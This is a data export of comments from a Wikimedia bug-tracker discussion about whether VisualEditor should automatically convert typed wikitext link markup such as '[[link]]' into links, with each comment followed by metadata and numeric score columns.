""Rather than focus on improving [the warning about entering wikitext], a better direction to go would be for VE to be able to convert wikitext to its equivalent in VE. Thus if one typed [[New York City]], for example, VE would convert that to its format for an internal link. This is fairly straight-forward, programming-wise: after VE adds a closing nowiki tag for some text, it would examine it for conversion possibilities: external link? internal link? footnote? template?""",,,1376340113,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,6,,1.0,0.0,0.0,0.0,0.0,5.5,1.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,1.0,3.5,10.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,11.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,7.0,0.5,0.0,5.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,3.0,10.5,6.5,3.5,1.5,0.0,3.0,0.0,0.0,2.5,0.0,1.0,0.5,0.0,1.5,3.912175324675325,0.7564935064935066,"user John Broughton at en.wp comments:
""Rather than focus on improving [the warning about entering wikitext], a better direction to go would be for VE to be able to convert wikitext to its equivalent in VE. Thus if one typed [[New York City]], for example, VE would convert that to its format for an internal link. This is fairly straight-forward, programming-wise: after VE adds a closing nowiki tag for some text, it would examine it for conversion possibilities: external link? internal link? footnote? template?"""
244216,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #22)
> 
> If accidental insertion of wikitext is still an issue, we should focus on
> other
> ways to mitigate that issue.

2 things: 
1) it's not an ""if"", and i do not think you guys should wait for the community to prove it to you. you should go hunt for it, so you can see for yourselves that it *is* an issue (hint: look for edits with ""visualeditor"" tag that added <nowiki>: approximately 100% of those represent the problems. you have to tools to actually measure it across all projects where VE is enabled by default).
2) ""focus on other ways to mitigate that issue"": how about solving bug 51897, instead of marking it ""low"" and basically ignoring it? this *is* exactly ""other ways to mitigate that issue"". 
or ,alternatively, find a better way to solve it: right now, it seems the team is saying ""we'll focus on other ways to mitigate the issue"", but they do not actually mean it: what other ways? who is working on it? what do they do? where is the ""focus""?
what you guys are doing today does not look very much like ""focus"" - it looks much more like ignoring the issue and hoping the problem will go away by itself.



(In reply to comment #18)
> Sorry, but this is not something we'll ever do, as I explained in comment 9.
> It's not simply a matter of prioritization - it's a matter of ensuring we can
> provide a user experience that's not modeled on markup, but on best user
> experience practices. As James said, we provide keyboard shortcuts, and will
> provide other user interfaces optimized for markup. But parsing markup within
> the visual editing context is completely off the table.

this is nothing more and nothing less than saying ""it's so because i said so"". 
you made a bad decision. that's something that happened in life to (almost) all of us. the problem is not so much this bad decision - the problem your refusal to accept that it was a bad decision, and you insistence that it was a good decision, in face of all the evidence.


The reason i am writing this is because nowhere can i find any indication that the VE team actually changed its mind or at least decided to reconsider. 
it is very much possible that the team actually *did* decide to reconsider, and i just missed it. if this is the case, please be graceful and ignore my rant.

peace.",,,1375729537,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,5,,1.6,0.2,0.4,0.2,1.0,3.2,1.4,0.4,0.0,0.4,1.2,0.2,0.0,0.2,0.0,1.8,0.0,7.0,9.8,0.8,2.2,0.4,0.0,0.0,2.0,0.0,0.0,0.6,0.4,0.4,0.0,5.2,2.4,4.0,2.0,2.0,0.2,0.0,0.8,0.4,0.0,0.4,0.4,1.2,0.2,0.2,0.4,0.2,0.4,10.2,1.4,0.8,0.6,0.6,0.0,0.0,0.2,0.0,0.8,0.0,0.6,0.6,0.2,1.0,0.2,0.2,0.0,4.2,3.4,3.0,2.6,2.0,7.2,0.0,0.0,0.0,0.4,5.6,0.2,1.0,0.0,7.8,9.8,2.0,1.0,3.6,0.0,7.8,0.0,1.8,1.2,0.4,2.0,0.8,0.2,0.6,3.4116813686180167,0.6558941459502807,"(In reply to comment #22)
QUOTE
QUOTE
QUOTE
QUOTE

2 things: 
1) it's not an ""if"", and i do not think you guys should wait for the community to prove it to you. you should go hunt for it, so you can see for yourselves that it *is* an issue (hint: look for edits with ""visualeditor"" tag that added <nowiki>: approximately 100% of those represent the problems. you have to tools to actually measure it across all projects where VE is enabled by default).
2) ""focus on other ways to mitigate that issue"": how about solving bug 51897, instead of marking it ""low"" and basically ignoring it? this *is* exactly ""other ways to mitigate that issue"". 
or ,alternatively, find a better way to solve it: right now, it seems the team is saying ""we'll focus on other ways to mitigate the issue"", but they do not actually mean it: what other ways? who is working on it? what do they do? where is the ""focus""?
what you guys are doing today does not look very much like ""focus"" - it looks much more like ignoring the issue and hoping the problem will go away by itself.



(In reply to comment #18)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

this is nothing more and nothing less than saying ""it's so because i said so"". 
you made a bad decision. that's something that happened in life to (almost) all of us. the problem is not so much this bad decision - the problem your refusal to accept that it was a bad decision, and you insistence that it was a good decision, in face of all the evidence.


The reason i am writing this is because nowhere can i find any indication that the VE team actually changed its mind or at least decided to reconsider. 
it is very much possible that the team actually *did* decide to reconsider, and i just missed it. if this is the case, please be graceful and ignore my rant.

peace."
244208,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"**Amalthea.wikimedia** wrote:

Erik:

(In reply to comment #18)
> it's a matter of ensuring we can provide a user experience that's not modeled
> on markup, but on best user experience practices.

I don't think that was the suggestion above?

Word processors have long supported text-based auto formatting logic, and they certainly aren't focusing on underlying markup. For example, to this day, you can *bold* and _italicize_ text in OpenOffice Writer and Microsoft Word by using the traditional markup, or define numbered and bulleted lists simply by starting the first item with ""* "", ""- "", or ""1. "".

Adding auto-formatting logic does not impair the goals of the visual editor: defining a link via square brackets won't be the obvious way, and it will likely not be advertised anywhere except possibly in some settings page. It can be helpful without taking anything away from the vision.",,,1375614123,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,4,,0.5,0.5,0.0,0.5,3.0,4.5,1.5,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.5,1.5,7.0,9.0,0.5,0.5,0.0,0.0,0.0,0.5,1.0,0.0,1.0,1.0,0.5,0.0,2.5,0.5,1.0,2.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,14.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.5,0.0,3.5,0.0,0.5,0.0,0.0,0.0,4.5,3.0,7.0,0.5,4.0,6.0,0.0,0.0,0.0,0.5,5.0,0.0,0.5,0.0,2.5,9.0,2.5,0.5,3.5,0.0,2.5,0.0,0.0,0.5,0.0,4.0,0.0,0.0,0.5,3.8754901960784314,0.7455882352941177,"**Amalthea.wikimedia** wrote:

Erik:

(In reply to comment #18)
QUOTE
QUOTE

I don't think that was the suggestion above?

Word processors have long supported text-based auto formatting logic, and they certainly aren't focusing on underlying markup. For example, to this day, you can *bold* and _italicize_ text in OpenOffice Writer and Microsoft Word by using the traditional markup, or define numbered and bulleted lists simply by starting the first item with ""* "", ""- "", or ""1. "".

Adding auto-formatting logic does not impair the goals of the visual editor: defining a link via square brackets won't be the obvious way, and it will likely not be advertised anywhere except possibly in some settings page. It can be helpful without taking anything away from the vision."
244203,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"**Wikifram** wrote:

Note that this question is included in the large [[Wikipedia:VisualEditor/Default State RFC]] on the en.wikipedia, as question 5. The current tally, for what's it worth, is 28 supporting and 22 opposing, but with many conditional comments on both sides (""yes for X but no for Y""). Many of the opposes are ""no, because this is a WYSIWYG"", but in reality, of course, this isn't a wysiwyg but a hybrid anyway... (you still need to know wikimarkup to do a lot of things in the new editor in mainspace as well)",,,1375426633,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,4,,1.5,0.0,0.0,0.5,1.0,4.0,1.5,1.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.5,4.0,12.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.5,0.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,10.5,1.5,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,3.5,7.0,1.5,3.5,9.0,0.0,0.0,0.0,0.0,2.0,2.0,1.5,0.0,1.5,12.0,4.5,0.0,3.0,0.0,1.5,0.0,0.5,3.0,0.0,0.5,0.0,0.0,1.0,3.4306795634920633,0.7317708333333333,"**Wikifram** wrote:

Note that this question is included in the large [[Wikipedia:VisualEditor/Default State RFC]] on the en.wikipedia, as question 5. The current tally, for what's it worth, is 28 supporting and 22 opposing, but with many conditional comments on both sides (""yes for X but no for Y""). Many of the opposes are ""no, because this is a WYSIWYG"", but in reality, of course, this isn't a wysiwyg but a hybrid anyway... (you still need to know wikimarkup to do a lot of things in the new editor in mainspace as well)"
244198,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"**Wikifram** wrote:

Erik Moeller, do you have any idea how many hours are spent on correcting these ""nowikis"" every day? Do you, on the other hand, have any data on how many ""correct"" nowiki tags are added? Is there any reason why what should be a no-brainer (not per se an easy one technically, but a no-brainer from the should-be-done point-of-view) improvement is so drastically rejected? 

Have any of you considered that, as of now, new editors using only VE and only editing the mainspace still need to know the [[ ]] syntax anyway? A simple example: on the English wikipedia, I opened [[HKBK College of Engineering]] with the VE, and clicked on the infobox. Click on a parameter, e.g. city, and what you are confronted with is [[Bangalore]]. So new editors ''need'' to use it in the infobox, but are ''not allowed'' to use it in the article text, and this is supposed to be an improvement why? 

What is actually the reason (apart from perhaps ""technical difficulty"") that square brackets are no longer allowed as an alternative method of creating wikilinks? No one is asking to disable the VE wikilinking methods, but no one seems to understand the insistence of the WMF on disallowing the square brackets method either.",,,1375350281,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,4,,2.3333333333333335,0.0,0.0,2.0,0.6666666666666666,4.333333333333333,1.0,0.0,0.0,0.0,1.6666666666666667,1.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,1.0,7.666666666666667,10.333333333333334,0.0,2.0,0.6666666666666666,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,6.333333333333333,2.0,0.6666666666666666,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,1.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,11.666666666666666,1.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.0,0.0,0.3333333333333333,7.333333333333333,5.0,7.0,2.0,2.3333333333333335,11.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,0.3333333333333333,0.0,2.3333333333333335,10.333333333333334,4.0,2.0,2.0,0.0,2.3333333333333335,0.0,2.3333333333333335,2.3333333333333335,0.0,2.3333333333333335,0.0,0.0,3.3333333333333335,3.670718404238741,0.6582904784167055,"**Wikifram** wrote:

Erik Moeller, do you have any idea how many hours are spent on correcting these ""nowikis"" every day? Do you, on the other hand, have any data on how many ""correct"" nowiki tags are added? Is there any reason why what should be a no-brainer (not per se an easy one technically, but a no-brainer from the should-be-done point-of-view) improvement is so drastically rejected? 

Have any of you considered that, as of now, new editors using only VE and only editing the mainspace still need to know the [[ ]] syntax anyway? A simple example: on the English wikipedia, I opened [[HKBK College of Engineering]] with the VE, and clicked on the infobox. Click on a parameter, e.g. city, and what you are confronted with is [[Bangalore]]. So new editors ''need'' to use it in the infobox, but are ''not allowed'' to use it in the article text, and this is supposed to be an improvement why? 

What is actually the reason (apart from perhaps ""technical difficulty"") that square brackets are no longer allowed as an alternative method of creating wikilinks? No one is asking to disable the VE wikilinking methods, but no one seems to understand the insistence of the WMF on disallowing the square brackets method either."
244190,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #31)
> I think that James' marking your bug as a duplicate was likely caused by his
> misunderstanding your request. He is part of the VE team but I have met him
> at Wikimeets a few times and I can assure you he is human.


the last line makes me think that maybe some of my comments can be read in a way that does not fully match the spirit in which they were written.

although i have criticism, especially toward the perceived attitude of VE team towards their user base, i never meant to say or hint any of them is a bad person or less than brilliant developer.

as i already said in this thread, i think VE itself is a great thing, we want it, we need it, and we want it to succeed. 

hope that heated and less-than-polite things said in this (and maybe other) discussions will not be taken as attacks - it is/was never the intention to attack anyone.

peace.",,,1374758978,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,1.0,0.5,0.5,1.5,1.0,5.5,2.0,0.0,0.5,0.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,11.5,0.5,2.5,0.0,0.0,0.0,3.0,0.5,0.5,0.0,0.5,0.5,0.0,6.5,3.0,3.0,4.5,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,2.0,0.0,0.0,0.0,0.5,1.0,9.5,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,4.0,4.0,3.0,1.5,3.0,6.5,0.0,0.0,0.0,0.5,5.0,0.0,0.5,0.0,10.0,11.5,2.0,0.0,0.0,0.0,10.0,0.0,1.0,1.5,1.5,0.0,1.5,0.0,0.0,3.5527689873417723,0.7353639240506329,"(In reply to comment #31)
QUOTE
QUOTE
QUOTE


the last line makes me think that maybe some of my comments can be read in a way that does not fully match the spirit in which they were written.

although i have criticism, especially toward the perceived attitude of VE team towards their user base, i never meant to say or hint any of them is a bad person or less than brilliant developer.

as i already said in this thread, i think VE itself is a great thing, we want it, we need it, and we want it to succeed. 

hope that heated and less-than-polite things said in this (and maybe other) discussions will not be taken as attacks - it is/was never the intention to attack anyone.

peace."
244184,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #28)
Thank you for clarifying the two requests, Chris. That was super-helpful. :-)

(In reply to comment #29)
> maybe instead of coming here, what i should have done is to reopen and remove
> the ""duplicate"" designation. 

My apologies, kipod. Thank you for patiently putting up with me. Indeed, I think bug 51897 is not a duplicate of this bug. My comments were strictly related to the original request here on bug 49686.

I don't know what the VisualEditor team's view is on your request at bug 51897, so I'm going to go ahead and un-dupe bug 51897 now. Bug 51897 may also eventually be marked resolved/wontfix, but it doesn't seem to be within the scope of this bug, so it should be handled separately.",,,1374721119,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,2.0,2.0,4.5,2.5,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,3.5,0.5,7.5,10.5,0.0,2.5,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,0.0,4.5,1.0,1.5,2.5,1.5,0.5,0.0,0.0,2.5,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,12.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,3.0,4.0,8.5,0.5,2.0,4.5,0.0,0.5,0.0,1.0,5.0,0.0,4.5,0.0,6.5,10.5,1.0,0.0,0.0,0.0,6.5,0.0,0.5,0.5,0.5,1.5,0.0,0.0,0.0,3.52027027027027,0.7094594594594594,"(In reply to comment #28)
Thank you for clarifying the two requests, Chris. That was super-helpful. :-)

(In reply to comment #29)
QUOTE
QUOTE

My apologies, kipod. Thank you for patiently putting up with me. Indeed, I think bug 51897 is not a duplicate of this bug. My comments were strictly related to the original request here on bug 49686.

I don't know what the VisualEditor team's view is on your request at bug 51897, so I'm going to go ahead and un-dupe bug 51897 now. Bug 51897 may also eventually be marked resolved/wontfix, but it doesn't seem to be within the scope of this bug, so it should be handled separately."
244177,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"I think that James' marking your bug as a duplicate was likely caused by his misunderstanding your request. He is part of the VE team but I have met him at Wikimeets a few times and I can assure you he is human.

As for Bug 51899, yes that is a perfect match. Thank you.",,,1374712742,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,2.0,0.0,0.0,2.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,5.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,16.0,2.0,3.0,8.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,18.0,11.0,5.0,0.0,2.0,0.0,18.0,0.0,0.0,5.0,2.0,3.0,0.0,0.0,0.0,3.5,0.8064516129032258,"I think that James' marking your bug as a duplicate was likely caused by his misunderstanding your request. He is part of the VE team but I have met him at Wikimeets a few times and I can assure you he is human.

As for Bug 51899, yes that is a perfect match. Thank you."
244172,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"oh, and what you describe as ""the ideal solution"", sounds a lot like bug 51899 to me.

peace.",,,1374709297,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,8.0,12.0,0.0,0.0,8.0,0.0,8.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,3.08,0.88,"oh, and what you describe as ""the ideal solution"", sounds a lot like bug 51899 to me.

peace."
244168,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"i think you are correct stating that these two ""definitions"" of the enhancement request are not identical.
however, i came here to bug you guys with ""my"" definition of the request after Forrester closed  bug 51897 with ""duplicate"". the bug he closed listed my request exactly.
maybe instead of coming here, what i should have done is to reopen and remove the ""duplicate"" designation. 

my guess is that it wouldn't make a huge difference - the team would have closed it as ""WONTFIX"" instead of closing it as ""DUPLICATE"". i took them on their word about these two request being one and the same - maybe it was a mistake. (afaik, Forrester is part of VE team).

as to ""[["" being ambiguous: i did not dive deeply into it, and did not conduct extensive tests, but i think that typing ""[["" anywhere on the page will cause VE to jump the ""wikicode detected"" popup. as a wikicode, ""[["" is not ambiguous at all, i think. it means ""start internal link here"".


peace.",,,1374709091,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0.3333333333333333,0.0,0.0,0.0,2.0,5.0,2.6666666666666665,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,3.6666666666666665,0.0,7.0,8.666666666666666,0.0,1.0,0.3333333333333333,0.0,0.0,3.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.3333333333333333,3.6666666666666665,2.0,2.3333333333333335,0.3333333333333333,0.6666666666666666,0.0,0.0,1.6666666666666667,1.3333333333333333,0.0,1.0,0.0,1.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,7.0,0.3333333333333333,1.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,4.0,3.3333333333333335,2.0,1.0,1.6666666666666667,4.666666666666667,0.0,0.0,0.0,0.0,4.333333333333333,0.0,1.3333333333333333,0.0,7.666666666666667,8.666666666666666,2.3333333333333335,0.0,8.333333333333334,0.0,7.666666666666667,0.0,0.3333333333333333,1.0,0.3333333333333333,1.3333333333333333,0.0,0.0,2.6666666666666665,3.5155555555555558,0.6533333333333333,"i think you are correct stating that these two ""definitions"" of the enhancement request are not identical.
however, i came here to bug you guys with ""my"" definition of the request after Forrester closed  bug 51897 with ""duplicate"". the bug he closed listed my request exactly.
maybe instead of coming here, what i should have done is to reopen and remove the ""duplicate"" designation. 

my guess is that it wouldn't make a huge difference - the team would have closed it as ""WONTFIX"" instead of closing it as ""DUPLICATE"". i took them on their word about these two request being one and the same - maybe it was a mistake. (afaik, Forrester is part of VE team).

as to ""[["" being ambiguous: i did not dive deeply into it, and did not conduct extensive tests, but i think that typing ""[["" anywhere on the page will cause VE to jump the ""wikicode detected"" popup. as a wikicode, ""[["" is not ambiguous at all, i think. it means ""start internal link here"".


peace."
244166,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"There are at least two separate requests here. They are related in that they both want to change the current behaviour of the two character sequence ""[["" in VisualEditor but they want to change it in incompatible ways. 

Kipod is asking for the key sequence [[ to be treated the same as the key sequence ctrl+k. It is not asking for, nor would it require any changes to rendering. For the purposes of this comment I'll refer to this as ""Kipod's request""

MZMcBride is commenting the original request which was for the sequence [[link]] to be parsed (either at save or on the fly) as if it were a link added using the link inspector. For the purposes of this comment I'll refer to this as the ""original request"".

The two are not the same and the past few posts have seen people talking past each other. 

I can see the merits of the original request but I can also see where the VE team are coming from. The desire stems from people wanting the best of both worlds - they want to be able to have the structure and layout of the visual editor with the low-level control they are used to in the source editor all in one place. Long term something like this really ought to be possible, but I don't think this is the way. Rather there should be some way for the visual editor to include non-visual blobs that it sends to the parser as is without doing anything to it (other than word wrapping in the editing window); and some way for the editor to mark the start and end of such blobs. This is not what the original request is asking for though.

Kipod's request is something that imho should not be included as a default, as while [[word]] or [[short phrase]] are unlikely to be anything other than links, [[ on it's own is far more ambiguous and there is more scope for the desired action to be something other than inputting a link. Rather there should either be a built-in method for users to define their own shortcuts or a simple way (an API?) for a gadget that allows users to reliably define their own shortcuts to have the same effect without needing to be rewritten every time VE or some other mediawiki component is updated. 

I recommend that if anyone wants further discussion on either request that the bugs are unmerged.",,,1374707128,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,1.6,1.2,0.0,1.4,1.0,8.2,2.2,0.0,0.2,0.4,3.2,0.6,0.0,0.0,0.8,1.2,0.2,3.4,15.0,1.2,3.0,0.8,0.2,0.0,0.4,0.4,0.0,0.2,0.4,0.6,0.6,6.0,0.8,1.4,0.8,0.0,0.0,0.0,0.6,3.2,0.0,1.4,0.0,0.8,0.0,0.8,0.4,0.2,0.4,14.4,0.4,1.4,0.0,0.6,0.2,0.0,0.0,0.2,0.4,0.0,0.2,0.8,0.2,0.8,0.2,0.4,0.2,8.2,6.0,5.0,1.4,3.0,12.0,0.0,0.0,0.0,0.0,4.8,0.0,0.8,0.0,4.0,15.0,1.6,0.2,1.2,0.0,4.0,0.0,1.2,1.4,0.0,2.6,0.4,0.4,2.4,3.826359649122807,0.6730701754385964,"There are at least two separate requests here. They are related in that they both want to change the current behaviour of the two character sequence ""[["" in VisualEditor but they want to change it in incompatible ways. 

Kipod is asking for the key sequence [[ to be treated the same as the key sequence ctrl+k. It is not asking for, nor would it require any changes to rendering. For the purposes of this comment I'll refer to this as ""Kipod's request""

MZMcBride is commenting the original request which was for the sequence [[link]] to be parsed (either at save or on the fly) as if it were a link added using the link inspector. For the purposes of this comment I'll refer to this as the ""original request"".

The two are not the same and the past few posts have seen people talking past each other. 

I can see the merits of the original request but I can also see where the VE team are coming from. The desire stems from people wanting the best of both worlds - they want to be able to have the structure and layout of the visual editor with the low-level control they are used to in the source editor all in one place. Long term something like this really ought to be possible, but I don't think this is the way. Rather there should be some way for the visual editor to include non-visual blobs that it sends to the parser as is without doing anything to it (other than word wrapping in the editing window); and some way for the editor to mark the start and end of such blobs. This is not what the original request is asking for though.

Kipod's request is something that imho should not be included as a default, as while [[word]] or [[short phrase]] are unlikely to be anything other than links, [[ on it's own is far more ambiguous and there is more scope for the desired action to be something other than inputting a link. Rather there should either be a built-in method for users to define their own shortcuts or a simple way (an API?) for a gadget that allows users to reliably define their own shortcuts to have the same effect without needing to be rewritten every time VE or some other mediawiki component is updated. 

I recommend that if anyone wants further discussion on either request that the bugs are unmerged."
244164,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"i still do not think you understood the request. 
it's not about transforming [[Foo]] to a link, it's about not getting [[Foo]] into the page in the first place: as soon as the user types ""[["", the ""[["" should be removed from the page and interpreted as <Ctrl>+K.


as to your questions about File:Foo.jpg or Category:Foo: what does VE do today when someone presses <Ctrl>+K and then feeds ""File:Foo.jpg"" or ""Category:Foo"" ?
whatever it does today, this is what i expect it to do when someone types ""[["" and then feeds in the link form ""File:Foo.jpg"" or ""Category:Foo"".


> (In reply to comment #25)
> ......
> And, of course, a certain percentage of users will want to actually include
> brackets (""["" and ""]"") in their edits. How do they undo the magical
> transformation?
> 

these are just straw arguments. 
there are many many many things one can't do now using VE. it will not at all be so bad if the extremely rare case of having to add ""[["" to the page within ""nowiki"" tags will be one of them. 
definitely much much better than current situation, where hundreds of edits with ""[["" enclosed inside ""nowiki"" tags are added to enwiki daily, when the editors actually intended to add a link (i did not count them myself - this is what i'm led to believe based on reports of editors who actually clean this mess).

peace.",,,1374702684,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,2.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,2.0,3.3333333333333335,0.3333333333333333,0.0,0.0,0.3333333333333333,2.0,0.6666666666666666,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,9.0,9.666666666666666,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,5.333333333333333,1.3333333333333333,1.6666666666666667,1.3333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,1.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,1.0,1.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,4.0,2.6666666666666665,8.0,1.6666666666666667,2.0,5.666666666666667,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,0.3333333333333333,0.0,5.0,9.666666666666666,4.333333333333333,0.3333333333333333,7.333333333333333,0.0,5.0,0.0,3.0,0.6666666666666666,1.0,1.3333333333333333,0.3333333333333333,0.0,7.333333333333333,3.3333333333333335,0.6284722222222222,"i still do not think you understood the request. 
it's not about transforming [[Foo]] to a link, it's about not getting [[Foo]] into the page in the first place: as soon as the user types ""[["", the ""[["" should be removed from the page and interpreted as <Ctrl>+K.


as to your questions about File:Foo.jpg or Category:Foo: what does VE do today when someone presses <Ctrl>+K and then feeds ""File:Foo.jpg"" or ""Category:Foo"" ?
whatever it does today, this is what i expect it to do when someone types ""[["" and then feeds in the link form ""File:Foo.jpg"" or ""Category:Foo"".


QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

these are just straw arguments. 
there are many many many things one can't do now using VE. it will not at all be so bad if the extremely rare case of having to add ""[["" to the page within ""nowiki"" tags will be one of them. 
definitely much much better than current situation, where hundreds of edits with ""[["" enclosed inside ""nowiki"" tags are added to enwiki daily, when the editors actually intended to add a link (i did not count them myself - this is what i'm led to believe based on reports of editors who actually clean this mess).

peace."
244158,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #25)
> what we ask (at least, this is what i asked - see bug 51897, which was marked
> as duplicate of this one) is that when the user types ""[["", VE will remove
> the ""[["" from the page, and behave as if the user typed <Ctrl>+K, i.e. open
> the ""Link"" form.

Yep, I think everyone commenting on this bug understands the request. :-)

The problem is, as stated, computers aren't very good at reading minds or understanding context. You want to support ""[["" magically transforming into a VisualEditor link. This is certainly possible to implement, but then you naturally have to support:

* [[foo]]
* [[foo]]s
* [[foo|bar]]
* [[w:foo]]
* [[w:foo|]]
* [[w:en:foo (bar)|]]
* [[WP:FOO]]

When a user types ""[[File:foo.png]]"", do they really mean they want a link to the file or do they really mean they want to include the file?

What about ""[[Category:foo]]""? It's often trivial for humans to understand what we mean or to understand what other humans mean, but computers... not so much.

